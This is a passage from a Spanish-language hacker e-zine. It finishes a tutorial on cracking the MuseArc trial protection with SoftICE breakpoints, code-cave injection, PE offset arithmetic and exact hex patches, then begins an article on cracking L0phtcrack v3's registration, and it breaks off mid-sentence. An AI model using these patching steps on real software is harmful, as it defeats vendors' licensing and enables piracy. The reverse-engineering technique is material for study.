dwFlagsAndAttributes: Especifica atributos y flags para el archivo.
Atributos como archivo comprimido, de solo lectura... y flags indicando por
ejemplo ke el archivo se abrira sin buffers intermedios, ke el archivo sera
accedido de acuredo con POSIX, o cosas por el estilo

En cuanto al valor devuelto por esta funcion, tenemos ke devuelve bien el
handle, bien INVALID_HANDLE_VALUE, si la funcion falla.

Bien, mas cosas ke saber... la funcion se llama createfile(), pero sabemos
ke esta funcion en realidad despues sera createfilea() o createfilew(), ke
son sus versiones ascii (con la a) y unicode (con la w, w de word supongo).
si en el softice pruebas a poner un punto de ruptura en createfile te dira
ke no encuentra la funcion,

  
aunke hayas cargado desde el symbol loader el
kernel32.dll con la opcion load exports. Esto es porke las funciones ke
realmente hay son esas otras dos, con la a y con la w. lo puedes ver
facilmente usando el el SICE el comando exp de exports. Puedes poner
"exp createfile" para ke te diga ke funciones tienes exportadas y comienzan
de esa manera. La nuestra, es la version ascii, puesto ke las cadenas con
las k trabajamos son cadenas ascii.

Bien ahora ke ya conocemos la funcion... mas cosas ke tenemos ke mirar...
bien... el archivo ke keremos ver cuando se abre es musearc.exe, y con el
path completo es c:\program files\musearc\program\musearc.exe
Asi ke la llamada a createfile() ke buscamos debe tener un puntero a
esta cadena en la pila. Asi ke vamos a ver. la ultima "e" del .exe del
musearc esta en la posicion 43, o lo ke es lo mismo 02bh, y el puntero
esta en (esp+4), asi ke *(esp+4) apuntaria a c:\....
bueno, si no entendisteis ke el puntero esta en esp+4...pues mirad la
cabecera de la funcion pork es directo.. doy por supuesto k sabes k los
argumentos de la funcion le son pasados en la pila, y ke la s y la p de
esp significan stack pointer... tambien doy por supuesto k konoceis el
orden en el k se le pasan los argumentos (convencion STDCALL). Si no sabeis
todo esto pues deberiais!!! hay mucha informacion por ahi!
ASM forever!!! :P... bueno... sigo..... :)

*(esp+4)+2b apuntaria a "e" o "E". Por lo tanto *(*(esp+4)+2b) deberia ser
igual a "e" o "E". Asi ke podriamos poner en el SICE el siguiente
punto de ruptura:

bpx createfilea if byte (*(esp->4 + 2b))=='e' || byte (*(esp->4 + 2b))=='E'



si os fijais en el punto de ruptura condicional podeis ver ke esp->4 es lo
mismo ke *(esp+4), y la palabra byte puesta delante indica ke la cantidad
ke estamos direccionando en memoria es de tamaño byte, pues por defecto
cogeria dword, y entonces la cadena devuelta podria ser algo como "XX0E"
donde las X son valores a priori no conocidos. Osea, en otras palabras eso
es un casting. Ya sabeis (o deberiais) ke la cadena ke koje es "XX0E" y no
"E0XX" debido a la endianity.El operador == es el operador de comparacion y
el operador || es la suma logica(OR).
Si hacemos la prueba.. cogemos el loader, cargamos la aplicacion, la
ejecutamos y cuando estamos en el punto de entrada ponemos el bpx y dejamos
ke se siga ejecutando.... al momento la ventana del SICE vuelve a emerger
como resultado del bpx... ponemos "d esp->4" para ver los datos,

0030:0044F350 C:\PROGRAM.......

vamos a la ventana de datos ( si no la tienes visible, se hace con wd, y
despues vuelve a introducir el d esp->4 para visualizar esa cadena en la
ventana, y tambien recomiendo introducir db para ver en esa ventana los
datos agrupados en bytes) y cambiamos la ultima "E" por una "X". A
continuacion pulsamos F12 para saber desde donde fue llamada la funcion, y
vemos....

0167:004276A8 MOV ECX,DWORD PTR[ESP+40]
0167:004276AC PUSH EDX
0167:004276AD PUSH EAX
0167:004276AE MOV EBP,DWORD PTR[00465904]
0167:004276B4 PUSH ECX
0167:004276B5 CALL EBP
0167:004276B7 CMP EAX,-1 <- aparecemos en esta linea
0167:004276BA MOV EBP,EAX

Asi ya sabemos donde se efectuo esa llamada.

Y ahora dejamos ke el programa siga ejecutandose...
Y todo ha ido como la seda...el programa ha arrancado sin ningun problema...

Ademas el bpx solo salta una vez, con lo ke la comprobacion de esa letra es
suficiente para discriminar cuando la llamada a esa funcion se hace para
abrir el musearc.exe. Con esto kiero decir ke solo vamos a tener k parchar
esa llamada aunk la funcion createfilea() se llame desde mas sitios.
Eliminamos el punto de ruptura y nos tomamos un vodka :)



4.2.2.- HACIENDOLO A MANO.

Cual es nuestro objetivo ahora??....pues hacer las modificaciones
necesarias para ke cuando se realice esa llamada (call ebp) sea el archivo
musearc.exx y no el musearc.exe el k habra....
Fijemonos bien, ke ecx esta apuntando a el nombre del archivo ke va a ser
abierto, puesto ke es su valor el ke se empuja a la pila justo antes de la
llamada a la funcion. La modificacion k vamos a hacer es la siguiente...
escribiremos un trozo de codigo ke kompruebe si ecx apunta a
c:\....\musearc.exe, y si es asi, modificaremos esa cadena para ke sea
c:\.....\musearc.exx.
Despues vamos a hacer otras dos cosas mas: por un lado introducir nuestro
trozo de codigo en el programa, y por otro modificar ese cacho de codigo
de ahi arriba de alguna manera para ke antes de ke se ejecute el call ebp,
se ejecute nuestro trozo :) facil verdad?? :)

Pues para hacer esto ya existen varias herramientas por ahi, como el
code snippet creator, de iczelion. Yo por ejemplo, tengo la version 1.05... pero tambien
podriamos hacerlo perfectamente sin utilizar herramienta alguna.

Comenzare por explicar como vamos a hacer para dar el control a nuestra
rutina... supongamos por un momento ke ya hemos introducido nuestro cacho
de codigo dentro del ejecutable, entonces este cacho de codigo tendra una
direccion virtual, por ejemplo 00365485. Una forma facil de saltar hasta
ese punto seria pushear ese valor dentro de la pila y despues hacer un
ret... de hecho esta es la tecnica ke utiliza el code snippet... haciendo
eso tendriamos lo siguiente:


6885543600 push 00365485
c3 ret

Asi ke ahora contamos es espacio ke okupan esas dos instrucciones, y vemos
ke ocupan 6 bytes. Si ahora miramos el trozo de codigo vemos esta
instruccion:

0167:004276AE MOV EBP,DWORD PTR[00465904]

ke kasualmente ocupa 6 bytes tambien (8B2D04594600)
Asi k lo ideal seria cambiar esta instruccion por nuestras dos nuevas
instrucciones.

Por otro lado tenemos k introducir nuestro nuevo codigo dentro del
ejecutable. Lo primeros ke se nos ocurre es buscar espacio sin utilizar
dentro de alguna de las secciones del ejecutable y meterlo ahi, ademas asi
no aumentariamos el tama¤o del ejecutable. Asi k abrimos el archivo
ejecutable con un editor hexadecimal, en mi caso el UltraEdit, y buscamos
una zona llena d 0's. Encontramos una en el desplazamiento 03de8ch.
A partir de este deplazamiento, tenemos k kalcular la VA (Virtual address,
direccion virtual) Para ello nos ayudaremos de un editor de PE. Yo utilizo
siempre el Procdump, de G-RoM, Lorian y Stone. No solo vamos a usar este
editor para calcular la VA de ese punto, puesto k mas adelante utilizaremos
tambien la opcion ke nos permite salvar secciones de un PE a un archivo en
disco. Pero antes d nada, el rollo teorico....
El archivo k estamos estudiando es un archivo de formato PE (Portable
Executable). Este es el formato de archivo ejecutable nativo de Win32.
El 99% de los archivos ejecutables .EXE y librerias dinamicas .DLL siguen
este formato, que se deriva del sistema d archivos UNIX COFF (COFF= commnon
object file format)... El caso es k en la estructura de estos archivos nos
encontramos con multiples cabeceras en las k encontramos la info suficiente
entre otras cosas para conseguir averiguar esa direccion virtual k
necesitamos.... Y para acceder a esos valores nos vamos a ayudar del
procdump.
En concreto, los campos k necesitamos son los siguientes: Por un lado el
valor del campo IMAGE BASE, que nos da la direccion virtual relativa de la
base del archivo. Ademas d este valor, necestiamos acceder a cierta info
sobre las secciones del archivo, valores k se guardan dentro de las tablas
de las secciones.Aqui podemos encontrar datos como el nombre de la seccion,
sus caracteristicas... etc.
En concreto nosotros buscamos los siguientes datos:

RAW SICE: Es el tama¤o de la seccion, valor ke el procdump calcula a partir
d datos k aki encuentra (SizeofRawData)

RAW OFFSET: Desplazamiento dentro del archivo del cuerpo de la seccion en
cuestion.

VIRTUAL OFFSET: Este es el desplazamiento virtual, respecto a BASE IMAGE.


Con los campos RAW SICE y RAW OFFSET podemos calcular los desplazamientos
del inicio i del final de las diferentes secciones dentro del archivo, asi
podremos saber en ke seccion se encuentra el desplazamiento k hemos
escogido. Una vez tengamos la seccion, si a nuestro desplazamiento le
restamos el RAW OFFSET d la seccion en la k se encuentra tendremos el
offset de nuestro punto, ahora respecto al inicio de la seccion en la k se
encuentra. IMAGE BASE + VIRTUAL OFFSET es la direccion virtual del inicio d
la seccion, por tanto si ahora sumamos esto al valor obtenido, lo k
tendremos sera la direccion virtual k estabamos buscando.
y ya ta :)))))))))

Pues eso, arrancamos el procdump. Le damos al boton PE Editor, i elegimos
el musearc.
Leemos:

Image Base: 00400000
Ahora le damos al boton sections:
Podemos ver ke tiene 6 secciones...

Nuestro desplazamiento era 03de8Ch, i mirando la tabla podemos ver k se
encuentra en la seccion .text. Si ahora hacemos los calculos:

desp - Raw Offset =Desplazamiento respecto el inicio de la seccion
03de8ch - 00000400 =03D8Ach

Virtual Offset de la seccion + Image Base = VA Inicio seccion
00001000 + 00400000 = 00401000

I sumando estos dos valores tenemos la direccion virtual k keriamos
calcular

Dir Virtual k buscamos: 00401000 + 03DA09=0043EA8C

sigamos adelante :) Ahora lo ke debemos hacer es escribir un programa con
el codigo k keremos introducir en el musearc :)


--------------------- principio del archivo muse2.asm-------------------
;
; muse2.asm
; Para el musearc.exe v ???
; marconi, enero del 2001
; inocram@yahoo.com
;
; ml /c /coff muse2.asm
; link /SUBSYSTEM:WINDOWS /LIBPATH=c:\masm32\lib muse2.obj
;

.386
.MODEL flat,STDCALL
option casemap:none

include c:\masm32\include\windows.inc


.code
inicio:
push ecx ; guardamos ecx en la pila
add ecx,2bh ; Que apunte a la pos d la 'E'
cmp byte ptr [ecx],'E' ; Es una 'E'?¨?¨??¨
jne fin ; Si no lo es nos vamos
mov byte ptr [ecx],'X' ; Si lo es, ponemos la 'X'
fin:
pop ecx ; Recuperamos ecx
db 8bh, 2dh,4, 59h, 46h,0 ; Inst. k sobreescribimos
push 004276B4h ; VA de retorno
ret ; Saltamos
end inicio

----------------------------fin del archivo muse2.asm----------------


Una vez k hemos generado el ejecutable, lo k vamos a hacer es lo siguiente:
sakaremos del ejecutable el cuerpo de la seccion .text, ke es exactamente
el codigo ke hemos escrito. Esto lo hacemos otra vez con el procdump.
Cogemos PE editor, elegimos el ejecutable k akabamos de crear, elegimos
sections, y elegimos la unica seccion k tiene, .text. Ahora dandole al
boton dcho de raton aparece un menu en el ke podemos elegir save section
to disk, le damos un nombre cualkiera, i la salvamos. Yo por ejemplo llame
al nuevo archivo muse2text.dmp. Ahora con un editor hexadecimal abrimos el
muse2text.dmp y el muse.exe e introducimos el contenido de muse2text.dmp en
el musearc.exe, a partir del desplazamiento k habiamos calculado:

Asi mismo, tambien parcheamos la posicion:

0167:004276AE MOV EBP,DWORD PTR[00465904]

con el codigo:
688CEA4300 push 0043EA8C
c3 ret

Para ello buscaremos la cadena:

52508B2D04594600

y la sustituiremos por la cadena:

5250688CEA4300C3

Salvamos todos estos cambios, i ahora probamos a ver si el programa
arranca...y vemos k lo hace sin ningun tipo d problema :)
y nos tomamos otro vodka mas :))))



4.2.3.- USANDO EL CODE SNIPPET CREATOR.

Pues vamos a hablar de esta herramienta, creada por Iczelion. Este peke¤o
programa nos permite la posibilidad de escribir peke¤os trozos de codigo
o recortes de codigo como su nombre indica ( Sippet= recorte), e
introducirlos dentro de un ejecutable. No me voy a parar a hacer una
descripcion detallada de todas las posibilidades ke este programa ofrece,
tan solo voy a explicar como hariamos para hacer con esta herramienta lo
ke antes hicimos a mano.
Tambien decir, ke este programa cuenta con un menu llamado PE Info, ke nos
sirve para conseguir informacion ha cerca del ejecutable... en concreto
toda la informacion sobre el MuseArc.exe ke hemos conseguido con ayuda del
ProcDump, la podiamos haber obtenido con este programa.
Recordar, una vez mas, ke estas modificaciones las haremos sobre el archivo
MuseArc.exe en el ke ya habiamos parcheado una instruccion de salto, y en
ese mismo directorio contamos con una copia de seguridad del MuseArc.exe
original, al ke habiamos puesto el nombre MuseArc.exx.

4.2.3.1.- DATOS KE NECESITAMOS.

Pues vamos a ver primero los datos ke necesitamos saber, para despues
poder comenzar a escribir nuestro recorte e insertarlo dentro del MuseArc.
Estos datos ya los habiamos conseguido todos en el punto anterior asi ke
solo vamos aki a hacer una peke¤a lista de lo ke habiams obtenido:

Teniamos ke el offset donde vamos a introducir el recorte es el 03de8ch,
y tambien habiamos calculado su VA, ke es uno de los valores ke vamos a
necesitar, esta VA era en concreto:

VA Recorte: 0043EA8C

Otro de los datos ke es necesario conocer es la VA desde donde keremos
saltar a nuestro recorte... esta era, como habiamos visto:

VA desde donde saltar al recorte: 004276AE

Y por ultimo, debemos saber tambien cual va a ser la VA de retorno, osea,
a donde keremos k se salte despues de ke nuestro recorte se haya ejecutado
y habiamos visto tambien ya esa direccion, ke era:

VA de retorno: 004276B4h

Pues teniendo todos estos datos, lo unico ke hay ke hacer es ponerse ha
escribir e introducir nuestro codio :)




4.2.3.2.- ESCRIBIENDO E INTRODUCIENDO EL RECORTE.

Pues vamos a ello.... abrimos el Code Snippet, y en el menu file escogemos
new project. Le damos por nombre a nuestro proyecto MuseArc, y en como
program escogemos el MuseArc.exe...podemos buscarlo por nuestro hdd usando
el boton de browse. Una vez hehco esto solo tenemos ke darle al boton de
"create" para krear el proyecto. Ahora contamos con una ventana en blanco
encima de la cual pone Musearc, y debajo tenemos los botones de "Assemble"
y "Exit". Hay ke tener en cuenta ke necesitamos configurar correctamente
el programa para ke cuando le demos a "Assemble" el programa ensamble
nuestro recorte sin problemas. La configuracion del esnamblador se
encuentra en el menu "Action", opcion "Options".

Y ahora a escribir nuestro recorte...


-------------------------Principio del recorte----------------------------
;
; recorte para el MuseArc.exe
; Marconi, enero del 2001
;
; Para el Code Snippet Creator
;

push ecx ; guardamos ecx en la pila
add ecx,2bh ; Que apunte a la pos d la 'E'
cmp byte ptr [ecx],'E' ; Es una 'E'?¨?¨??¨
jne fin ; Si no lo es nos vamos
mov byte ptr [ecx],'X' ; Si lo es, ponemos la 'X'
fin:
pop ecx ; Recuperamos ecx
db 8bh, 2dh,4, 59h, 46h,0 ; Inst. k sobreescribimos
push 004276B4h ; VA de retorno
ret ; Saltamos

-------------------------Fin del recorte----------------------------------

Como podeis ver, soy un vago del 15!... me limite a cortar el trozo de
codigo ke habiamos hecho e introducido a mano...

Ahora tenemos ke rellenar las opciones del proyecto, ke se encuentran en
el menu actions. En esta ventana, tenemor ke introducir el VA del recorte
(0043EA8C) donde nos lo pide ( Snippet VA),ademas debemos escoger dentro
de patc options la opcion patch into existing section, ya ke keremos
introducir nuestro codigo dentro de una seccion ke ya existe ( .text). Y
en Address to Redirect Control to the snippet, tenemos ke escoger la opcion
Redirect control from code section, y rellenar el campo virtual address con
la VA correspondiente ( 004276AE).
Si mirais atentamente esta ventana vemos ke tenemos opciones como por
ejemplo devolver el control a la aplicacione en una VA, o restaurar las
instrucciones ke han sido sobreescritas. Nosotros en este caso no
utilizamos estas opciones puesto ke hemos reutilizado el codigo ke ya
teniamos escrito antes :)

Ya esta todo listo para darle a assemble...nos sale entonces una ventana
con el nombre assembler output en la ke podemos ver ke ni el ensamblador ni
el enlazador nos ha dado mensaje de error o aviso ninguno... el siguiente
paso sera en el menu file, usar la opcion export. Nos sale una ventana
en la ke podemos dar un nombre al archivo .bin ke se va a generar, i
tambien podemos elegir la carpeta donde vamos a gurardar dicho archivo.
Llamamos a dicho archivo por ejemplo MuseArc.bin, y lo guardamos en
cualkier sitio. Nos aparece una peke¤a ventana indicando ke la operacion se
ha llevado a cabo satisfactoriamente. Y ya estamos listo para hacer el
siguiente y ultimo paso. En el menu action escogemos ahora la opcion Patch
target file...y nos aparece otra ventana similar a la anterior indicando
ke esta operacion tambien se llevo a cabo satisfactoriamente.... ahora
podemos intentar ejecutar el MuseArc.exe, y vemos ke todo ha funcionado
correctamente. :) Es el momento idoneo para tomarnos otro vodka :)))

4.2.4.- Consideraciones finales.

Aunke aki no hemos tenido la necesidad de trabajar con las caracteristicas
de las secciones, normalmente si ke hay k hacerlo...por ejemplo, si en vez
de modificar una cadena hubiesemos desde nuestro recorte modificar un trozo
de codigo, habriamos tendio ke tocar las caracteristicas de esa seccion
para poder hacerlo... no me kiero tampoco enrollar con esto...solo os
dejo aki una tabla con las caracteristicas de las secciones...

00000020 : codigo
00000040 : datos inicializados
00000080 : datos sin inicializar
04000000 : seccion cacheable
08000000 : seccion paginable
10000000 : seccion compartida
20000000 : se puede ejecutar
40000000 : se puede leer
80000000 : se puede escribir

pues ahi esta..por si lo necesitais algun dia xD




Pues hasta aki esta segunda parte sobre el musearc.... este es un ejemplo
muy sencillo de como podemos introducir codigo propio dentro d un
programa.




4.3.- SOLUCION 3... MODIFICANDO LA RUTINA DE PROTECCION.


Pues vamos a destripar un poco mas aun este programa :)...
Al principio del todo, habiamos llegado a la conclusion de ke lo k habia k
hacer para k el programa no se diese cuenta de ke la fecha paso era parchear
un salto condicional...este salto se encontraba en concreto en la VA 40D24F:

:0040D241 8D1440 lea edx, dword ptr [eax+2*eax]
:0040D244 8D0491 lea eax, dword ptr [ecx+4*edx]
:0040D247 C1E004 shl eax, 04
:0040D24A 3DA0DA0500 cmp eax, 0005DAA0
:0040D24F 7C07 jl 0040D258 <--- este salto.
:0040D251 8BCE mov ecx, esi
:0040D253 E898FFFFFF call 0040D1F0

Lo k haciamos, era cambiar ese salto condicional por un salto incondiconal.

El problema ke nos encontrabamos a continuacion, es k si intentabamos
ejecutar el programa, nos saltaba es SICE con el menseaje siguiente:

Break due to Page fault (0Eh) fault=0004

Osea, peazo de fallo de pagina :(... este fallo se producia al intentar
ejecutar la instruccion situada en la VA 0040C773:


:0040C769 03C1 add eax, ecx
:0040C76B 3B0D90014600 cmp ecx, dword ptr [00460190]
:0040C771 7418 je 0040C78B
:0040C773 8A10 mov dl, byte ptr [eax] <- aqui se jode todo
:0040C775 8811 mov byte ptr [ecx], dl
:0040C777 030D8C014600 add ecx, dword ptr [0046018C]
:0040C77D 03058C014600 add eax, dword ptr [0046018C]
:0040C783 3B0D90014600 cmp ecx, dword ptr [00460190]


En el caso de ke programa hubiese funcionado bien, cabria dos posibilidades,
o bien k esa instruccion se ejecutase una o varias veces y no hubiese
generado un fallo de pagina,o bien ke nunca se hubiese llegado a ejecutar...
como vamos a ver a continuacion es esta segunda posibilidad la k se da en
este caso....

Una forma sencilla para buscar un sitio donde parchear la rutina de
proteccion es la siguiente: si no nos keremos parar a estudiar con
detenimiento la rutina, podemos comparar la evolucion del programa
"semiparcheado" con la evolucion del programa en el caso de k nunca lo
hubiesemos tocado.... claro k aki nos topamos con un problema, i es ke si no
tocamos el programa, una ventana nos dice ke hemos excedido el tiempo de
pruebas, i no nos deja continuar. En caso de ke la comprobacion de la
integridad del ejecutable se efectuase despues de la comprobacion del limite
de tiempo, no podriamos comparar una mierda...
y aki es donde hacemos lo k a todo el mundo se le ha ocurrido ya en la
primera linea de la primera de las partes... y es retrasar el reloj del
sistema.... el programa no se cosca i arranka sin ningun problema....
y ahora dira alguno... me cago en la puta!!!! tanto rollo para k solo haya k
retrasar el reloj del sistema!!!!!!!! me cago en tu p....hijo d p...te voy a
m.... ..puto gordo g... xDDDDDD jajajajjajajaj...posi :)
Pero no nos desviemos del tema i vamos a lo k nos okupa. Tenemos una copia
sin modificar del musearc original, i hemos atrasado el reloj del sistema.
He desensamblado el ejecutable, i resulta k la instruccion donde la copia
modificada se jode esta en una funcion k empieza en la VA

* Referenced by a CALL at Addresses:
|:0040B092 , :0040B831 , :0040C74B , :00410A69 , :00411E04
|
:0040C700 64A100000000 mov eax, dword ptr fs:[00000000]
:0040C706 55 push ebp
:0040C707 8BEC mov ebp, esp

y como ahi podeis ver es llamada desde 5 sitios.
Poniendo sendos puntos de ruptura en esos cinco sitios i uno mas en la
instruccion donde se daba el fallo de pagina por si acaso (0040C773), vemos
k el programa arranca sin parar en ninguno de ellos.

Ahora hacemos la misma prueba para el ejecutable modificado, y vemos k para
en el el punto situado en la VA 0040B831, seguidamente en la VA 0040C74B, i
despues se produce la excepcion. Asi k tenemos k llegamos a la VA 0040B831
cuando no habriamos debido llegar.

:0040B827 8BF8 mov edi, eax
:0040B829 85FF test edi, edi
:0040B82B 7409 je 0040B836
:0040B82D 6A01 push 00000001
:0040B82F 8BCF mov ecx, edi
:0040B831 E8CA0E0000 call 0040C700 <- no debemos llegar

primera posibilidad para no llegar.... k se ejecute el salto condicional k
hay en 0040b82b, pero resulta ke esa instruccion tampoco se llega a ejecutar
en la version sin modificacion. Por lo tanto, este no es el punto ke
buscamos.

:0040B7FE 83E007 and eax, 00000007
:0040B801 390C85C0FC4500 cmp dword ptr [4*eax+0045FCC0], ecx
:0040B808 7470 je 0040B87A
:0040B80A 833D1C03460000 cmp dword ptr [0046031C], 00000000
:0040B811 7E2A jle 0040B83D
:0040B813 6A04 push 00000004
:0040B815 E8C9980200 call 004350E3

Un poco mas arriba encontramos esas otras dos instrucciones de flujo, en
las VAs 0040B808 y 0040B811. El ejecutable sin modificaciones, para el el
punto de ruptura puesto en 0040B808, pero ademas, solo para una vez, i el
salto se ejecuta. Si ponemos un punto de ruptura en 0040B808, ahora en el
ejecutable modificado, vemos ke ese salto tambien se ejecuta pero en este
caso no salta. Asi k la modificacion k tendriamos ke hacer, seria cambiar
ese salto condicional por uno incondiconal. Asi pues, con el editor
hexadecimal buscamos la cadena

39 0C 85 C0 FC 45 00 74 70
y la cambiamos por:
39 0C 85 C0 FC 45 00 EB 70

Recordaros k el otro cambio k habiamos hecho, era el del salto condicionaL
k habia para comprobar la fecha, y las cadenas k habiamos cambiado eran:

3D A0 DA 05 00 7C 07 8B CE
por:
3D A0 DA 05 00 EB 07 8B CE

y ahora el programa funciona perfectamente :)

Pues espero k os haya kedao claro.... evite intencionadamente entrar en el
estudio detallado de la rutina de proteccion, basikamente porke es un pe¤azo
:).....





5.- ESTO ES TODO AMIGOS.


Pues creo ke esto es todo por ahora...la verdad es ke tarde algo mas de lo ke
esperaba en terminar este texto... Pero al final lo termine no?¨

Saludos a Lykeios y tambien a telrauko, k se han leido por adelantado trozos
del articulo i kuyos valiosos comentarios han contribuido a mejorar el
contenido del articulo, y a ke se terminase unos meses antes de lo ke se
hubiese terminado si no se me diese alguien tanto la vara ( verdad, lyk?)

Y tambien comentar ke mucha gente abordo ya estos temas con anterioridad, y
sus trabajos se pueden encontrar por inte... no voy a citar a todas las
personas de las ke he leido articulos sobre este mismo tema pork la lista es
larga, i seguramente haya aun mucho mas ke no llego a caer en mis manos...
pero nombrare algunos, ke se me vienen ahora mismo a la mente... como por
ejemplo NuMIT_or, Iczelion, Demian, R!SC, Net Walker..... la lista es muy
larga...
Hay mucho i muy bueno ( mejor ke esto) por la red...
ya sabeis, el conocimiento esta a vuestro alcance....


ah!... y muchas gracias por todo a CatWoman :@@@

-=(EOF)=-
-=( 7A69#11 )=--=( art17 )=--=( Crakeando el L0phtcrack )=--=( Lykeios )=-

REGISTRANDO EL L0phtcrack v3
============================

Indice
======

1.- Introduccion
2.- Breve Historia de las Proteciones del L0phtcrack
3.- Lo Que Necesitaremos
4.- Una Tarde de Crackeo
4.1.- Primer Vistazo y Primer Intento (por si acaso ;])
4.2.- Siguiendo la Pista
4.3.- Nos Registramos!!!
4.4.- Todos los Caminos LLevan a Roma
5.- Despedida y Cierre


1.- Introduccion
^^^^^^^^^^^^^^^^
Buenas noches. Soy Lykeios.

Todo esto comenzo a la vuelta del puente de Semana Santa. Acababa yo de llegar
a casa bastante hecho polvo; eran casi las 12 de la noche del domingo y tenia
un sue¤o de la ostia despues de pasarme todo el puente de juerga con media
pandilla en casa de una amiga. "Uffff y ademas ma¤ana empiezo el puto curso.
Joooder!"


Me conecto un minuto antes de pirarme a la cama prometiendome que solo voy a
leer el correo; pero claro, entre mail y mail no puedo evitar darme una vuelta
por las webs de rigor ;].

Y cual no sera mi sorpresa al encontrarme en 'packetstorm' una nueva version
del L0phtcrack. Vaya, no se si se esperaba o no, pero la verdad que yo no
tenia ni idea de que fueran a sacarla :?

Me lo bajo rapidamente y ya empiezo a pensar en lo que terminaria siendo este
articulo.

No es que el programa me haya sido de excesiva utilidad en el pasado, pero la
verdad es que, para los que andamos navegando por ambos mundos, esta es una de
esas extra¤as ocasiones en las que podemos aplicar ingenieria inversa a algun
programa de hack; y eso motiva bastante, aunque luego la dificultad sea
minima, como veremos mas adelante...

No lo dudes ni un minuto y enviame un mail si detectas cualquier error. Ya
sabes que, como siempre, me puedes mandar cualquier duda, sugerencia, critica
o lo que sea *referente al texto* a: lykeios@bigfoot.com

Bueno pues, sin mas preambulos, veamos con que me encontre la noche siguiente,
despues de haber descansado ;].


2.- Breve Historia de las Proteciones del L0phtcrack
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Pues bien, lo de "historia de las protecciones del L0phtcrack" es poco menos
que una broma ;].

La verdad es que nunca se han molestado mucho en el tema. Aun recuerdo con una
sonrisa mis primeros pinitos en el mundillo crackeando la version 2.5.

Recapitulemos un poco. El limite de tiempo de la version 2.0 se podia saltar
tranquilamente con solo cambiar un salto condicional por uno incondicional.
Lo podeis ver en el articulo que aparecio en SET21 (articulo 0x11).

Para crackear la version 2.5 no hacia falta mucho mas. Recuerdo que para
conseguir que te aceptara cualquier registro como valido bastaba con parchear
una funcion (esta vez se habian molestado en llamarla desde varios sitios
dentro del programa, y por eso cambiar el salto condicional no era
suficiente).

No era mas que el tipico: xor eax,eax
inc eax
ret

Y listo. No hacia ya falta ni meter un codigo a bulto. Aparecias directamente
como registrado.

Ni que decir tiene que las cadenas se encontraban facilmente en las "String
References"
del W32Dasm y que los saltos pertinentes estaban por ahi cerca
(vamos, que no hacia falta ni el debugger). Si ademas sumamos que las ventanas
de error eran (y siguen siendo ;]) las tipicas MessageBoxA..... pues eso, que
la cosa estaba bastante facil.

De las versiones anteriores la verdad que no se nada, pero visto lo visto
no debia de ser muy dificil (si es que estaban protegidas).

En la version 3 al menos se han molestado en ocultar las cadenas, pero bueno,
no adelantemos acontecimientos....


3.- Cosas Que Necesitaremos
^^^^^^^^^^^^^^^^^^^^^^^^^^^

Veamos que es lo que vamos a necesitar para destripar a nuestra peque¤a
victima (herramientas y conocimientos):

- Lo primero y mas importante que necesitaras seran aproximadamente
media docena de neuronas (a poder ser sanas ;]). (Iba a pedir una
docena, para que supieras tambien cuando utilizarlas; pero no es
cuestion de complicarlo innecesariamente: ya te aviso yo ;].)

- Tambien necesitaras saber algo de programacion en ASM. Si no es tu
caso busca por la red, existen cursos bastante buenos tanto en
Ingles como en Espa¤ol.

- Desde luego necesitas tener el L0phtcrack v3 instalado ;]. (Ya se
que esto es bastante obvio, pero como tampoco pedia demasiadas
neuronas......).

- Vas a necesitar un debugger. Yo uso el SoftICE 4.00 (para Win9x),
pero tu puedes usar el que mas te guste; es indiferente.

- Tambien necesitaras un editor hexadecimal para modificar el
ejecutable. El que yo uso es el UltraEdit-32 v5.10a. Tu usa el que
quieras.

- Un desensamblador no es estrictamente necesario, pero si bastante
recomendable. El mio es el W32Dasm v8.93, pero como siempre tu usa
el que quieras.

- Bueno y tambien uso las utilidades FILEMON y REGMON para ver un poco
lo que hace el ejecutable, pero son totalmente prescindibles.

Y ya esta, creo que no vamos a necesitar nada mas. Asi que ha llegado el
momento de empezar a crackear (que ya iba siendo hora).


4.- Una Tarde de Crackeo
^^^^^^^^^^^^^^^^^^^^^^^^

4.1.- Primer Vistazo y Primer Intento (por si acaso ;])

Pues bien, comienzo como siempre rulando el FILEMON y el REGMON para ver
a que narices accede el L0phtcrack v3 (en adelante LC3) durante el
arranque.

Les aplico a ambos un filtro al proceso "lc3" y sin mas rulo el LC3,
espero a que arranque y luego lo cierro.

Bueno pues por un lado en el FILEMON veo como accede a ficheros de un
directorio oculto (\windows\applog\): LC3.LGC, LC3.LGD, etc (hay algunos
mas). Voy por alli a ver que tienen y la verdad que no saco nada en
limpio, son unas tablas con datos que para mi no tienen mucho sentido.
Otros como LC3SETUP.~~C y LC3SETUP.~~D son creados durante la instalacion
y mantienen esa fecha, por lo que quiza se usen para testear el periodo
de prueba (pero yo no voy a atacar por ahi).

Por otro lado en el REGMON puedo ver un monton de accesos al registro,
pero el que mas me llama la atencion es sin duda el siguiente (que aparece
dos veces):

\HKCU\Software\Security Software Technologies\LC3\Registration\Unlock Code

Y como peticion veo: QueryValueEx, o sea que comprueba si esta ahi o no.
Yo, ni corto ni perezoso, me rulo el RegEdit, me voy para alli y compruebo
que efectivamente esa clave no existe.

No puedo evitar que una sonrisa de picardia me aparezca en la boca... Ya
se que las protecciones del LC no son nada del otro mundo pero... no... no
puede ser tan facil... o si??

Como probar me sale gratis y solo llevo unos 10 minutos con esto pues no
me lo pienso mucho, creo en \Registration\ una clave llamada "Unlock
Code"
, le meto un valor a bulto y salvo.

Vuelvo a arrancar el LC3 y no, parece que no hubo suerte, no son tan
torpes ;]. La vuelvo a borrar con el RegEdit y sigo.

Bueno pues como por aqui no veo nada mas que sea digno de mencion, va
siendo hora de echarle un vistazo mas de cerca al programa en cuestion.

Arranco una vez mas el LC3 y me aparece directamente una ventana con un
mensaje tal que asi:

"LC3 trial version

LC3

password
auditing (y un dibujillo de hexa por aqui)
and
recovery

security
software
technologies"


Si, si, lo que tu digas... "auditing and recovery" jeje ;]

Bueno, y en la parte de abajo vemos: "15 Days until trial version will
expire."
Pues esto mismo es lo que nosotros queremos evitar, que 'expire'
;]

Tambien podemos ver 3 botones: "Trial" "Register" y "Help".

Dandole a "Help" te muestra la web donde te da ayuda para registrarse y
te cuenta las maravillas que hace el programilla. Dando una vuelta por
la pagina web de L0pht, podemos ver que una licencia individual te sale
al modico precio de 249$ (dolares) que no se yo quien co¤o los va a pagar.
Bueno, creo que obviamente este no es nuestro sendero ;]

Si le damos al de "Trial" nos vamos al programa en si, solo que la funcion
de 'brute force' esta deshabilitada. Aprovechar para echarle un vistazo si
quereis. Si ya habeis terminado vuestro periodo de prueba os saldra un
